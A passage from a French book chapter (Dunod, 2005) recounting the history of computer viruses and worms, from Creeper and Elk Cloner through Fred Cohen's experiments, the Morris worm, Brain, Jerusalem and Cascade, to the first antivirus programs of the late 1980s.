2.2.1 CREEPER & REAPER Le premier ver date peut-être de 1971. Son but n’était absolument pas malveillant ; il se nommait Creeper. Selon Max Schwarzmaier2, ce programme de démonstration était en fait une réponse aux besoins des contrôleurs aériens qui, sur ARPANET3, souhaitaient recevoir une notification lorsque certains avions passaient de la surveillance d’un ordinateur à un autre. Le programme ne se multipliait pas mais utilisait une machine à la fois. Il avait la capacité de se déplacer de machine en machine pour s’y exécuter. À chaque exécution le message « I’m creeper! Catch me if you can! » s’affichait à l’écran. Diverses informations non vérifiées à ce jour semblent indiquer que d’autres versions de Creeper ont ensuite vu le jour. Dans ces versions, Creeper avait la capacité de se démultiplier4. Un second programme s’intitulant Reaper aurait même était développé pour combattre et éliminer le précédent. D’autres sources parlent d’un programme similaire nommé Rabbit sur IBM360. Aucune source fiable ne m’a permis d’en confirmer l’existence.
2.2.2 Animal et Pervade
© Dunod – La photocopie non autorisée est un délit
Le programme Animal fut écrit dans les années 1970 par John Walker5. Développé sur UNIVAC, sa notoriété contribua au développement de nombreuses légendes. Il s’agissait d’un jeu qui, par le biais d’une vingtaine de questions, se devait d’être à même de déterminer à quel animal le joueur pensait. Grâce aux réponses apportées par les joueurs, le programme développait une base de connaissance qui lui permettait d’être de plus en plus performant.
1. DEWDNEY A.K. (1984). Computer Recreations: In the game called Core War hostile programs engage in a battle of bits, Scientific American 250(5): 14-22, Mai, 1984. 2. SCHWARZMAIER Max. (1995), The Internet Worm 1988, Disponible à l’adresse : http:// www.ifs.univie.ac.at/~c9225414/security/worm.html. 3. ARPANET : Advanced Research Projetcs Agency NETwork, Réseau de l’Agence pour les Projets de Recherche Avancés. Groupe de recherche créé en 1968 sous couvert du ministère américain de la Défense pour développer un réseau décentralisé qui devait pouvoir résister à une attaque atomique. Ancêtre d’Internet, ce réseau se devait d’accueillir des ordinateurs de marques différentes pour qu’ils puissent dialoguer entre eux grâce au principe de la communication par paquets. Il aura une influence considérable sur le développement de la messagerie électronique et du partage de l’information. 4. SHOCH John. F. & HUPP Jon. A. (1982), The « Worm » Programs – Early Experience with a Distributed Computation, Communication of the ACM. Vol25, Nb3, pp 172-180. 5. WALKER John. (1996), The Animal Episode, Disponible à l’adresse : http://www.fourmilab.ch/documents/univac/animal.html
PAGET_Ch02 Page 38 Lundi, 11. avril 2005 5:25 17
38
Chapitre 2. Historique – de l’innocence à la tentation criminelle
En Avril 1974, John Walker mit au point sur UNIVAC 1100 l’ultime version du programme. La notoriété aidant, John fut vite submergé de demande. En janvier 1975, il se lassa des nombreux envois de bandes magnétiques pour son logiciel ou ses mises à jour. Il développa Pervade et l’intégra à son programme. À chaque exécution du jeu, cette routine examinait les répertoires accessibles au travers du réseau et y copiait la version actuelle du logiciel si elle y était absente, ou présente dans une version moins récente. Les ordinateurs UNIVAC possédaient une caractéristique peu connue et peu commune : lorsqu’un utilisateur entrait au clavier le nom d’un répertoire, le système exécutait automatiquement le dernier programme placé dans celui-ci. Associée à Pervade, cette fonctionnalité d’un grand intérêt pour les administrateurs système de l’époque explique les nombreuses rumeurs qui s’en suivirent… elle explique aussi pourquoi des utilisateurs recevaient sans bien comprendre pourquoi des messages du type : « Think of an animal ».
2.2.3 Maintenance et télédistribution Le document de John Shoch et Jon Hupp cité plus haut, présente également quelques applications concrètes qui auraient été réalisées dans les années 1980. Mentionnant John. Brunner (voir paragraphe suivant), il introduit le terme de vers et envisage de les utiliser comme utilitaires de maintenance ou de télédistribution. Dès cette époque on redoute cependant une mauvaise utilisation ou un disfonctionnement du ver pouvant entraîner un crash du système. Le centre de recherche Xerox de Palo Alto d’où sont issus nos chercheurs en fait d’ailleurs la triste expérience. Un matin, le personnel du centre retrouve ses machines stoppées. À chaque remise en marche, un ver expérimental resurgit et entraîne un nouveau crash. Il faut alors injecter un programme tueur pour supprimer l’hôte devenu indésirable. Ce phénomène marqua la fin des expériences.
2.3 LA SCIENCE-FICTION Bien des livres et des nouvelles mettent en scène un monde ou des machines utilisent à leur profit ou à leur dépend des programmes nuisibles. Le premier récit fut peut être The Thinking Machine d’Adam Levitt. Il serait paru en 1936 dans un magazine américain consacré à la science-fiction : Amazing Stories. Il s’agirait de l’histoire d’une machine intelligente, contrôlant l’activité d’une ville et la détruisant après être devenue folle au contact des humains1.
1. GREENBERT, Igor, 1995, Computer Viruses, Document disponible à l’adresse : http://www.paspaug.org/News95/NewsAug.htm.
PAGET_Ch02 Page 39 Lundi, 11. avril 2005 5:25 17
2.3 La science-fiction
39
Pour le domaine des codes auto reproducteurs, les visionnaires ne furent pas seulement universitaires et chercheurs. Les auteurs de science-fiction eurent souvent beaucoup d’intuition. Les termes de virus et de ver semblent d’ailleurs issus de la science fiction.
2.3.1 Harlie avait un an Influencé par les travaux d’Alan Mathison Turing1 et né en 1944, David Gerrold est l’un des scénaristes de Star Trek. Il utilise le terme virus en 1972, dans la première édition de son roman : When HARLIE was one2. HARLIE (Human Analogue Robot Life Input Equivalents) est un ordinateur doté d’une intelligence artificielle capable d’imiter les diverses fonctions du cerveau humain. Ce cerveau électronique cherche à contacter d’autres ordinateurs pour les reprogrammer ou modifier leurs données. Pour arriver à ses fins, HARLIE compose des numéros de téléphone au hasard en utilisant un programme informatique appelé Virus. Lorsqu’un ordinateur est découvert, une copie du programme Virus est téléchargée sur celui-ci afin de démultiplier les recherches.
2.3.2 Sur l’onde choc Autre auteur de science-fiction, John Brunner est né en 1934. Son roman le plus fameux fut Tous à Zanzibar, vaste fresque qui conte l’histoire d’extraterrestres végétaux.
© Dunod – La photocopie non autorisée est un délit
Au travers de ses divers romans, il dresse un sombre tableau du monde qui semble le reflet aux traits grossis et noircis de celui où nous vivons : croissance de la population, appauvrissement des pays sous-développés, montée de la violence, évolution non contrôlée de la génétique, de la biologie et de l’informatique. Lorsqu’il traite du péril informatique, l’ordinateur est déjà en réseau. Son roman The Schockwave Rider3 qui parait en 1975, se situe au XXIe siècle. La dominance politique des USA s’exprime dans une société hautement technologique ou la compétitivité entraîne les pires excès. Le héros, Nickie Haflinger, s’est échappé de la mégalopole de Tarnover afin de restaurer la liberté. Le monde autour de lui n’est plus qu’un vaste réseau informatique universel qui encercle les continents comme le feraient des chaînes… Chacun croit avoir accès à l’information ; il peut la demander depuis n’importe quel terminal du réseau. En réalité, seule une élite est à même d’en obtenir une version non édulcorée ; les masses n’ont, quant à elles, que des données aseptisées et de la propagande.
1. Voir le paragraphe dédié à Von Neumann. 2. GERROLD, David, (1972), When Harlie Was One, Ballentine Books, 1st Edition, En français : Harry avait un an, Paris, Le Livre de Poche, 1980. 3. BRUNNER John (1975), The Shockwave Rider, Ballantine Books, ISBN:345-24853-8. En français, Sur l’onde de choc, Le Livre de Poche. Laffont. ISBN:2-253-05270-1.
PAGET_Ch02 Page 40 Lundi, 11. avril 2005 5:25 17
40
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Une sorte de ver, le tapeworm entre en scène à la fin du livre. C’est un programme créé par le héros pour casser la sécurité du système. Le ver n’infecte pas d’autres logiciels, il ne semble pas non plus se reproduire, il grossit et se perpétue aussi longtemps que le réseau existe. Le ver de John Brunner ressemble à celui décrit par les informaticiens Shoch et Hupp en 1980 et 1982 ; il est composé de multiples segments, chacun s’exécutant sur une machine du réseau. Si un segment disparaît, son double est réinjecté dans une autre station. Le ver se subdivise automatiquement; il envoie une copie de lui-même à la recherche des groupes perdus et cherche à les restaurer dans leur environnement initial. Incroyablement intelligent, le ver de John Brunner s’approprie les données et se modifie de lui-même pour mieux contourner la sécurité. Les autorités sont incapables de le détruire, non pas à cause de ses mécanismes de défense ou de ses nombreuses copies mais parce qu’il s’est assimilé lui-même au réseau. Pour tuer le tapeworm, il faudrait tuer le réseau. John Brunner écrivit 95 romans. Il meurt en 1995 lors de la Convention mondiale de la science-fiction. Deux ans plus tard, dans The Adolescence of P-1, Thomas Ryan1 décrivait lui aussi un programme se reproduisant et progressant de machine en machine au travers d’un réseau téléphonique à la recherche d’informations.
2.4 APPLE II Pour de nombreuses études le premier virus informatique est apparu en 1986 et ciblait le monde des PC. Les ordinateurs Apple furent cependant la cible de quelques virus au début des années 80.
2.4.1 Elk Cloner Le virus Elk Cloner fut écrit en 1982 par Richard Skrenta2 alors qu’il était étudiant à Pittsburgh, Pennsylvanie. L’auteur souhaitait laisser sa trace dans le logiciel d’exploitation de l’Apple II de son école. Il écrivit un programme afin que tout utilisateur passant après lui sur la machine, et ne réinitialisant pas le système avec ses propres disques, se trouve infecté. « J’ai ainsi réalisé qu’un programme auto reproducteur pouvait être créé » indique t’il. La réinfection de la machine se produisait avec le démarrage depuis une disquette préalablement infectée. Une description précise de la version 2 de Elk Cloner
1. RYAN J. Thomas (1977), The Adolescence of P-1, Ace SF Books, ISBN 0-441-00360-5. 2. DEWDNEY A.K. (1985), A Core War bestiary of viruses, worms and other threats to computer memories, Scientific American, Mars 1985.
PAGET_Ch02 Page 41 Lundi, 11. avril 2005 5:25 17
2.5 Fred Cohen
41
est disponible sur l’ancienne liste de diffusion Virus-L1. Le code source est accessible sur le site web de son auteur2.
2.4.2 Anti-Congo À la même époque, d’autres virus furent écrits par un certain Joe Dellinger alors étudiant à l’université du Texas A&M. Il indiqua plus tard que son but était de mesurer le temps mis par sa création pour investir l’ensemble de ses disquettes3. La première version n’était pas satisfaisante, mais la seconde (Virus 2) intéressa certains de ses collègues qui décidèrent d’infecter leurs propres disquettes. Peu de temps après, des défauts d’affichages apparurent sur des versions piratées du jeu Congo. Il s’agissait d’un effet secondaire du virus qui s’était propagé plus que ne l’auraient souhaité les jeunes étudiants. Ils créèrent alors un programme vaccin (immunizer). Joe écrivit ensuite une troisième version de son virus dont le but était de corriger les effets indésirables de la version 2.
2.5 FRED COHEN
© Dunod – La photocopie non autorisée est un délit
L’histoire des virus informatiques ne saurait être complète s’il n’y était pas fait mention des travaux du Docteur Fred Cohen. Licencié ès Sciences en Electrotechnique à l’Université de Carnegie-Melon en 1977, il obtint une Maîtrise en Science de l’Information à l’Université de Pittsburg en 1981 et en 1986 un Doctorat en Electricité à l’Université de Californie du Sud. De janvier 1985 à avril 1987, il est professeur en informatique et en électrotechnique à l’Université de Lehigh. Puis, jusqu’en décembre 1988, il est professeur d’électricité et d’informatique à l’Université de Cincinnati. Dans les années 1990, il devient membre de divers organismes de renom dont l’IEEE (Institute of Electrical and Electronics Engineers). En 1983, Fred Cohen s’intéresse déjà aux programmes auto reproducteurs. Le 10 novembre, il doit présenter un papier sur ce sujet à un séminaire sur la sécurité informatique. Pour symboliser le concept exposé, Len Adleman, son responsable de thèse, fait un lien avec le phénomène biologique et lui propose le terme de virus. Pour étayer ses théories, Fred Cohen décide de mener ses premières expérimentations. Le 3 novembre 1983, après 8 heures de travail sur un VAX 11/750 sous UNIX, le premier virus est prêt. L’infection initiale est implantée au début d’un programme utilitaire : le code ainsi ajouté s’exécute en premier, avant le programme normale1. VIRUS-L Digest (1989-1), Apple 2 Elk virus, Mercredi 10 février 1989, Volume 2 : Issue 43. 2. http://www.skrenta.com. 3. The Risks Digest (1991), Contribution intitulée RE: Prize for Most Useful Computer Virus, Vol12, Issue30 (Mercredi 11 septembre 1991).
PAGET_Ch02 Page 42 Lundi, 11. avril 2005 5:25 17
42
Chapitre 2. Historique – de l’innocence à la tentation criminelle
ment attendu. Le programme modifié étant diffusé secrètement à un groupe d’utilisateurs, il y eut cinq attaques virales successives. La première expérience ne dura que 5 minutes. Les suivantes ne dépassèrent pas 30 minutes. Les attaques étaient étroitement contrôlées et le succès fut néanmoins total. La principale surprise vint de la rapidité de propagation. Les expérimentateurs constatèrent aussi que le temps d’infection d’un programme sain n’attirait pas l’attention (moins d’une demi seconde). Une fois ces résultats annoncés, les administrateurs systèmes décidèrent de ne plus permettre la poursuite des recherches. D’autres autorisations furent cependant obtenues et des expérimentations eurent lieu en juillet 1984 sur un ordinateur UNIVAC 1108 puis en août sur un système VAX sous UNIX. Fred Cohen publia son premier document sur le sujet en 1984. Celui-ci contient une définition du virus qui fait encore aujourd’hui valeur de référence1 : Un « virus » informatique est un programme qui a la capacité « d’infecter » d’autres programmes en les modifiant de telle sorte qu’ils contiennent ensuite une copie de luimême. Grâce à cette propriété d’infection, un virus peut se propager au travers d’un système informatique ou d’un réseau. Le virus utilise alors les droits de chaque utilisateur pour infecter ses programmes. Chaque programme infecté agit ensuite comme un virus répandant ainsi l’infection. À compter de cette date, Fred Cohen écrivit de nombreux documents sur le sujet. Les premiers d’entre eux parurent dans la revue Computer & Security entre 1987 et 1989 : • • • • •
Computer Viruses – Theory and Experiments2 (1987). On the Implications of Computer Viruses and Methods of Defense3 (1988). Ethical Issues in Computer Virus Distributions4 (1988). Models of Practical Defenses Against Computer Viruses5 (1989). Computational Aspects of Computer Viruses (1989).
1. COHEN Fred. (1984), Computer Viruses – Theory and Experiments, DOD/NBS 7th Conf. on Computer Security. IFIP-sec 84. 2. Computer Viruses – Theory and Experiments, Computers & Security, Volume 6 (1987), pp 22-35. 3. On the Implications of Computer Viruses and Methods of Defense, Computers & Security, Volume 7 N°2 (1988), pp 167-184. 4. Ethical Issues in Computer Virus Distributions, Computers & Security, Volume 7 N°4 (1988), pp 335-336. 5. Models of Practical Defenses Against Computer Viruses, Computers & Security, Volume 8 N°2 (1989), pp 149-160.
PAGET_Ch02 Page 43 Lundi, 11. avril 2005 5:25 17
2.6 Les premiers vers
43
2.6 LES PREMIERS VERS Entre 1987 et 1989, les grands réseaux s’interconnectent. Ce fut d’abord la communication e-mail entre les mondes Unix (SMTP), VMS et BITNET. Arrive ensuite une passerelle qui fait un lien avec UUCP et ARPAnet (le futur Internet). Les utilisateurs d’Internet passent de 10.000 à 100.000. Commencent alors les soucis de sécurité.
2.6.1 BITNET : IBM Christmas Tree Le premier ver ayant eu un retentissement important fut IBM Christmas Tree. Écrit par un étudiant ouest-Allemand il fut diffusé le 9 décembre 1987 sur le réseau américain BITNET (machines IBM). Le 17 décembre 1987, il finit par paralyser le réseau de messagerie privé VNET. Il fallut tout arrêter jusqu’à la localisation et la suppression de toutes les copies du ver. Il se présentait sous la forme d’un courrier électronique avec un fichier attaché (CHRISTMA EXEC). À son exécution, il affichait ses vœux, prenait l’ensemble du carnet d’adresse de la messagerie de l’utilisateur et se diffusait de lui-même à tous les destinataires1.
2.6.2 INTERNET : RTM Worm
© Dunod – La photocopie non autorisée est un délit
Revenons un instant sur nos trois amis informaticiens qui créèrent Darwin en 1962. L’un d’entre eux, Robert P. Morris Senior eut un fils : Robert Tappan. À son tour, il se passionna pour l’informatique. En 1988, il a 23 ans et étudie à l’Université de Cornell. Internet est alors un réseau de 60.000 machines2. Le 2 novembre, il y injecte un programme auto reproducteur. Ne souhaitant implémenter qu’un seul exemplaire de son programme par machine, celui-ci fonctionne autrement que prévu. Il se propage plus brutalement et sature la mémoire de ses hôtes par ses multiples copies. Apprenant quelques heures plus tard que des ordinateurs interconnectés au réseau se plantaient du fait d’une réinfection incessante, Robert Tappan fit poster, dans la confusion générale, un message d’excuses donnant des instructions pour détruire son programme3.
1. FERBRACHE David. (1990), Worm Programs, Virus Bulletin. avril 1990. pp 6-9. 2. LOTTOR Marc (Octobre 1988), Rencontre de l’IETF (Internet Engineering Task Force), Ann Arbor. 3. CLOUGH Brian & MUNGO Paul (1993), Délinquance Assistée par Ordinateur, DUNOD. ISBN 2-10-002013-7. Traduit de l’anglais Approaching Zero, Faber & Faber Limited. London.
PAGET_Ch02 Page 44 Lundi, 11. avril 2005 5:25 17
44
Chapitre 2. Historique – de l’innocence à la tentation criminelle
Le rapport d’expertise technique d’Eugène Spafford1 présente la chronologie complète des évènements. Il indique que moins de 5 % des machines du réseau furent été touchées par le ver qui prit le nom de son auteur (RTM). En France, sous l’égide du Premier Ministre, le Service Central de la Sécurité des Systèmes d’Information émit une note d’information à destination des entreprises ayant à traiter des données sensibles. Elle leur demandait « d’éviter de se raccorder à de tels réseaux dont les points faibles sont multiples, et qui sont largement utilisés par les pirates de tout poil. ». Une note du SCSSI2 remet aussi en cause la plupart des interprétations alarmistes parues dans la presse. Elle souligne que : • l’attaquant n’avait qu’une connaissance élémentaire d’UNIX et du réseau Internet, • le code utilisé n’avait rien de professionnel, et n’avait pas été préalablement testé, • tout le code n’était pas exécutable, • les actions réelles avaient été moins graves que ce qui était éventuellement prévu, • des erreurs de conception avaient rendu le ver moins virulent que ce qu’il aurait pu être. Cet incident fut cependant à l’origine de la création des CERT (Computer Emergency Response Teams).
2.6.3 DECNET : Father Christmas Worm Six semaines plus tard, le 23 décembre 1988, le réseau SPAN de la NASA (Space Physics Analysis Network) accueillait Father Christmas Worm. Comme IBM Chrismas Tree, il affichait des vœux de Noël. Il ciblait les systèmes VMS de DEC via le protocole DECNET. Le fichier attaché se nommait HI.COM. Le ver devait attendre le 24 décembre minuit pour se diffuser par mail3.
2.6.4 DECNET : Worms Against Nuclear Killers L’attaque suivante débuta le 16 octobre 1989. Il s’agissait d’un nouveau ver affectant les plates-formes DEC VMS et utilisant lui aussi le protocole DECNET. Ce ver, intitulé WANK (Worms Against Nuclear Killers), se propageait sur le réseau de compte 1. SPAFFORD Eugène H. (1991), The Internet Worm Incident, Technical Report CSD-TR-933, Department of Computer Sciences. Purdue University. Disponible à l’adresse : ftp://coast.cs.purdue.edu/pub/doc/morris_worm. 2. Service Central de la Sécurité des Systèmes d’Information, note d’information N° 01/89 (7 février 1989). 3. FERBRACHE David (1990), Worm Programs, Virus Bulletin. avril 1990. pp 6-9.
PAGET_Ch02 Page 45 Lundi, 11. avril 2005 5:25 17
2.7 1986-1987 : Premières infections
45
en compte. Il modifiait la bannière d’accueil et les mots de passe. Il mettait aussi en œuvre un processus de spamming pour perturber les utilisateurs connectés1.
2.7 1986-1987 : PREMIÈRES INFECTIONS L’utilité du secteur de démarrage d’une disquette avait été découverte et exploitée en 1981 par l’auteur du virus APPLE II Elk Cloner. Cette même découverte fut faite par deux frères tenant une boutique informatique à Lahore (Pakistan). C’est avec celle ci que démarre une première époque de quatre années ou l’on verra apparaître les premiers anti-virus.
2.7.1 BRAIN La boutique des deux frères précédemment cités se nommait Brain Computer Services. De nombreuses sources nous rapportent que ces deux personnes proposaient à leurs clients des logiciels. Selon certains, il s’agissait de logiciels de leur fabrication, pour d’autres des copies de LOTUS-123. Si ces programmes étaient destinés à l’étranger, la disquette contenait le virus. Son label devenait : « (c) Brain ». L’un des buts de cette manipulation aurait été la mesure de l’étendu du piratage en vue de le contrecarrer. Une autre source qui semble plus fiable indique que les frères firent cela pour s’amuser (« for fun »)2. C’est pour le moins ce que rapporte un journaliste du The Chronicle of Higher Education qui aurait interrogé Basit Alvi alors âgé de 19 ans.
© Dunod – La photocopie non autorisée est un délit
Divers messages étaient insérés dans le code viral, les principaux se situaient dans le premier secteur physique de la disquette. D’autres messages étaient disséminés dans les 6 autres secteurs qu’occupait le virus. On y trouvait entre autres, les coordonnées complètes des deux auteurs. La version originale du virus n’infectait pas le disque dur, elle se contentait de se dupliquer de disquette en disquette. Ce premier virus système était également furtif. Dans un environnement infecté, l’analyse de la zone système ne révélait rien d’anormal ; le virus retournait au programme qui l’interrogeait une image saine de la zone. Le 22 octobre 1987, le virus est repéré à l’Université de Delaware3. De nombreuses variantes contenant des messages modifiés furent ensuite rencontrées.
1. CERT (17 octobre 1989), Advisory CA-89:04. WANK Worm On SPAN Network, Disponible à l’adresse : http://www.cert.org/advisories/CA-1989-04.html. 2. HIGHLAND, Harold Joseph (1988-1), Computer Viruses – A Post Mortem, Computers & Security, Avril 1988, pp.117-125. 3. HIGHLAND, Harold Joseph (1988-2), The BRAIN Virus : Fact and Fantasy, Computers & Security, Août 1988, pp.367-370.
PAGET_Ch02 Page 46 Lundi, 11. avril 2005 5:25 17
46
Chapitre 2. Historique – de l’innocence à la tentation criminelle
2.7.2 Ralf Burger & Berdn Fix Toujours en 1986, un programmeur allemand, Ralf Burger, imagine le premier virus programme. Il présente son idée à la conférence du Chaos Computer Club de décembre 1986 à Hambourg. Il y distribue VIRDEM ; virus conçu pour infecter par ajout les fichiers de type .com. Son idée a un grand succès, il décide d’écrire un livre qui paraît en 1987. Écrit en allemand, une version anglaise est disponible un an plus tard1. Dans ces livres, divers codes sont mis à la disposition du public. À coté de VIRDEM et de IBM Christmas Tree, on trouve pour la première fois le code désassemblé et expliqué d’un virus qui circulait depuis la fin 1987 : il s’agissait de Vienna. Le désassemblage fut un travail commun entre Ralf et Berdn Fix. Lui aussi était présent à Hambourg en 1996. Il avait écrit un virus de démonstration intitulé Rush Hour après avoir lu le livre de John Brunner2. Avec ces premiers livres, arrivent les premières justifications quant à la création et la distribution de codes viraux : selon les auteurs, ils permettront de découvrir les failles de sécurité dans les systèmes.
2.7.3 Les universités en première ligne 1987 fut l’année des premières infections. Autour du monde, les universités furent souvent exposées : • • • • •
Brain à l’université de Delaware, Lehigh à l’université de Lehigh (USA), Jérusalem à l’université technique Technion de Haïfa en d’Israël, Stoned à l’université de Wellington de Nouvelle-Zélande, Ping-Pong à l’université de Turin (Italie).
Lehigh ne s’est jamais répandu hors de l’université. Détruisant après 4 générations une partie de la table d’allocation des fichiers et n’infectant que le fichier command.com, ses chances de propagation étaient trop minces. Jérusalem, était plus discret. Par opposition à Lehigh, il n’infectait pas le command.com et son module de destruction n’entrait en action que plus rarement : uniquement un vendredi 13. Afin de parfaire la discrétion initiale, une routine particulière lui fit omettre le vendredi 13 novembre 1987, trop proche de son lancement3. La rumeur nous rapporte que l’auteur souhaitait peut-être commémorer à sa façon le 13 mai 1988, date du 40ème anniversaire de la création de l’État hébreu. 1. BURGER Ralf (1987 & 1988), Das große Computer-Viren-Buch, Data Becker, ISBN 3-89011200-5. Computer Viruses, a high-tech disease, Abacus, ISBN 1-55755-043-3. 2. FIX, Bernd, A strange story. Document disponible à l’adresse : http://www.brainon.ch/area51/brf/devstuff/rahab/rahab.html. 3. SKULASON Fridrik, Defining The Jerusalem Variants, Virus Bulletin, Octobre 1990, p. 8.
PAGET_Ch02 Page 47 Lundi, 11. avril 2005 5:25 17
2.8 1988 : Les premiers antivirus pour ibm pc
47
Stoned, alias Marijuana, fut le premier virus infectant le secteur de partition (Master Boot Record – MBR). Il fut longtemps le virus le plus répandu au monde. Une fois sur huit, lors du démarrage, il affichait le message « Your PC is now Stoned ! ». Jamais affiché, le texte « LEGALISE MARIJUANA » était aussi contenu dans le code.
2.7.4 L’arrivée du cryptage Toujours en 1987, un programmeur allemand écrivit un virus très visuel. De septembre à décembre 1988, il provoquait la chute des lettres au bas de l’écran. Celles-ci s’empilaient en laissant l’utilisateur abasourdi. L’effet graphique donna son nom au virus : Cascade. Cascade fut aussi le premier virus crypté. Seul restaient en clair les 35 premiers octets dédiés au décryptage. Au premier examen, chaque fichier infecté semblait l’être par un virus différent. Cette nouvelle technique rendait la détection plus difficile. L’éradication du virus devenait aussi plus périlleuse. Les 3 premiers octets à restituer ne pouvaient l’être directement. Ils étaient présent dans la zone cryptée et devaient être décodés avant leur rétablissement.
2.8 1988 : LES PREMIERS ANTIVIRUS POUR IBM PC
© Dunod – La photocopie non autorisée est un délit
En janvier 1988, une douzaine de virus sont recensés. Pour certains d’entre eux, tels que Brain, Jérusalem ou Vienna, des programmes spécifiques de détection et d’éradication sont rapidement créés. Mis au point par les premiers professionnels anti-virus, ils ne ciblaient qu’un seul virus. À l’étonnement de ces chercheurs, ces premiers produits détectèrent bientôt d’autres virus : des variantes. Non seulement l’antivirus venait de naître, mais avec lui, l’intérêt de la détection générique et heuristique.
2.8.1 Virus Antivirus En mars 1988, à Bandung, Denny Yanuar Ramdhani créait les deux premiers virus indonésiens. Il les baptisa Den Zuko et Hackers. Leurs buts étaient de diffuser « le bonjour » de leur auteur aux utilisateurs de micro-ordinateurs de la ville lorsque ceux ci pressaient simultanément les touches
. Avant le redémarrage de la machine, apparaissait alors pendant un bref instant une image en couleur contenant le texte DENZUKO accompagné d’un logo inconnu. La seconde variante du virus s’attachait à détecter et éliminer sa précédente version. Elle cherchait aussi à éliminer le virus Brain puis à immuniser la disquette contre toute nouvelle attaque de celui-ci. Elle changeait le nom de volume de la disquette en « Y.C.1.E.R.P. ». Cette étrange chaîne de caractères se retrouvait aussi dans un texte associé à la première variante. En 1990, Fridrik Skulason y vit un indicatif de radio amateur et
PAGET_Ch02 Page 48 Lundi, 11. avril 2005 5:25 17
48
Chapitre 2. Historique – de l’innocence à la tentation criminelle
consulta l’International Callbook. L’indicatif en question correspondait à un radioamateur de Bandung. Il le contacta et reçu ses aveux en retour1. Notons pour finir que ce virus utilisait une nouvelle technique de dissimulation. Les disquettes 360 Ko de l’époque étaient constituées de 40 pistes (numérotées de 0 à 39). Le virus en activait une 41ième, numérotée 40, pour y cacher son code complémentaire. Il devint donc potentiellement destructeur dès qu’apparurent les disquettes à haute densité constituées de 80 pistes utiles.
2.8.2 Monitoring de programme Les programmes dédiés à la surveillance des activités suspectes sur une machine existaient avant l’apparition de Brain. En 1985, Andy Hopkings proposait Chk4Bomb. Comme son nom le laisse supposer, ce programme était censé protéger les machines au regard des bombes logiques de l’époque. Il surveillait les tentatives de formatage, l’accès direct au disque et les accès en écriture vers des secteurs physiques. Il permit d’intercepter quelques-uns des premiers virus. De même, en 1987, Ross Greenberg crée un programme de protection contre les activités malveillantes induites par les chevaux de Troie et les vers. Flu_shot surveille l’activité en mémoire, les modification éventuelles de fichiers système, les tentatives de formatage, etc. Via un contrôle d’intégrité, (méthode de checksum) il vérifie non seulement les zones système mais les fichiers. Très vite, Ross se rend compte que son programme est à même de contrarier les virus du moment. Il le propose comme une réponse à Lehigh2. Avec d’autres programmes similaires, et avant la recherche par signature, Chk4Bomb et Flu_shot peuvent être considérés comme les premiers anti-virus pour IBM PC. En 1988, et selon la même technique, la société Interpath, proposera C-4 et Sentry. Le patron de cette petite compagnie sera rapidement connu puisqu’il n’est autre que John McAfee.
2.8.3 DATACRIME : L’antivirus est au commissariat ! En 1989, les médias font leurs gros titres sur certains virus. Elles annoncent l’imminence de dégâts. Il s’agit d’abord de Jérusalem, qui, plus d’un an après sa découverte, fait encore peur. En 1989, il y a deux vendredis 13, le premier tombe en janvier. Les
1. SKULASON, Fridrik (Fevrier 1991), The Search for Den Zuk, Virus Bulletin, Février 1991, pp 6-7. 2. GREENBERG, Ross M. (Février 1988), Cité dans une contribution du Forum The Risk Digest , Volume 6 : Issue 25, Virus (Trojan) protection program now available from SIMTEL20. Document disponible à l’adresse : http://catless.ncl.ac.uk/Risks/6.25.html.
PAGET_Ch02 Page 49 Lundi, 11. avril 2005 5:25 17
2.8 1988 : Les premiers antivirus pour ibm pc
49
bureaux d’Alan Solomon qui propose maintenant un anti-virus (Anti-Virus Toolkit from S&S) sont envahis par les caméras de télévision. Les quelques entreprises ayant repéré le virus font l’objet de nombreuses demandes d’interview. Dans son histoire des virus informatiques, Alan s’attarde plus longuement sur Datacrime. Découvert en mars 1989 après qu’un hollandais du nom de Fred Vogel l’ai contacté, ce nouveau virus enflamme aussi les médias. On découvre en effet qu’il est programmé pour exécuter un formatage bas niveau du premier cylindre des disques durs qu’il a infectés. Le déclenchement programmé peut s’activer à tout moment entre le 12 octobre et le 31 décembre. S’il intervient, il détruit la table d’allocation des fichiers entraînant ainsi la perte des données. En Hollande, la police prend le problème au sérieux. L’action de Datacrime est considérée comme un acte criminel. On demande à un programmeur d’écrire un détecteur ; il est ensuite mis à la disposition du public dans les commissariats contre une somme minime. Outre Datacrime, la menace de Jérusalem surgit à nouveau. Le 13 octobre 1989 est aussi un vendredi. Les entreprises hollandaises s’inquiètent donc et questionnent IBM sur tous ces virus qui font parler d’eux. Après avoir trouvé sur un de ces sites une variante de Cascade, IBM avait décidé, un an plus tôt, de mener ses propres recherches. L’entreprise disposait maintenant de son propre laboratoire (le High Integrity Computing Laboratory dans son centre de recherche Thomas J. Watson) dirigé par Steve White. Ainsi IBM avait maintenant un anti-virus pour un usage interne.
© Dunod – La photocopie non autorisée est un délit
L’insistance des grands comptes les amena à proposer en septembre 1989, une version 1.0 de leur logiciel IBM V SCAN. Une proposition de vente fut envoyée à de nombreux grands comptes français. Outre Atlantique, la proximité de l’anniversaire de la découverte de l’Amérique par Christophe Colomb (le 2ème lundi d’octobre) amène la presse à débaptiser le virus. Datacrime prend le nom de Columbus Day. Là-bas aussi, l’affaire fait grand bruit (on parle d’une action terroriste !) alors qu’il est probable qu’aucune souche du virus n’ait été rencontrée. En France Datacrime et Jérusalem sont restés discrets. Le journal Le Monde du 15 octobre 1989 titre « Apocalypse not – Le virus a fait chou blanc : il n’y a pas eu de grande panne informatique le vendredi 13 ». L’article indique que depuis deux jours, on n’a plus de mots assez durs, chez IBM, pour se moquer du mouvement de panique apparu en France et aux Pays-Bas. Toujours selon le journal, le CLUSIF1 indique que deux grandes entreprises et une cinquantaine de PME lui ont déclaré qu’elles avaient été contaminées et avance un taux de contamination de 1 %.
1. CLUSIF : CLub de la Sécurité des Systèmes d’Information Français. Fondé en 1984.
PAGET_Ch02 Page 50 Lundi, 11. avril 2005 5:25 17
50
Chapitre 2. Historique – de l’innocence à la tentation criminelle
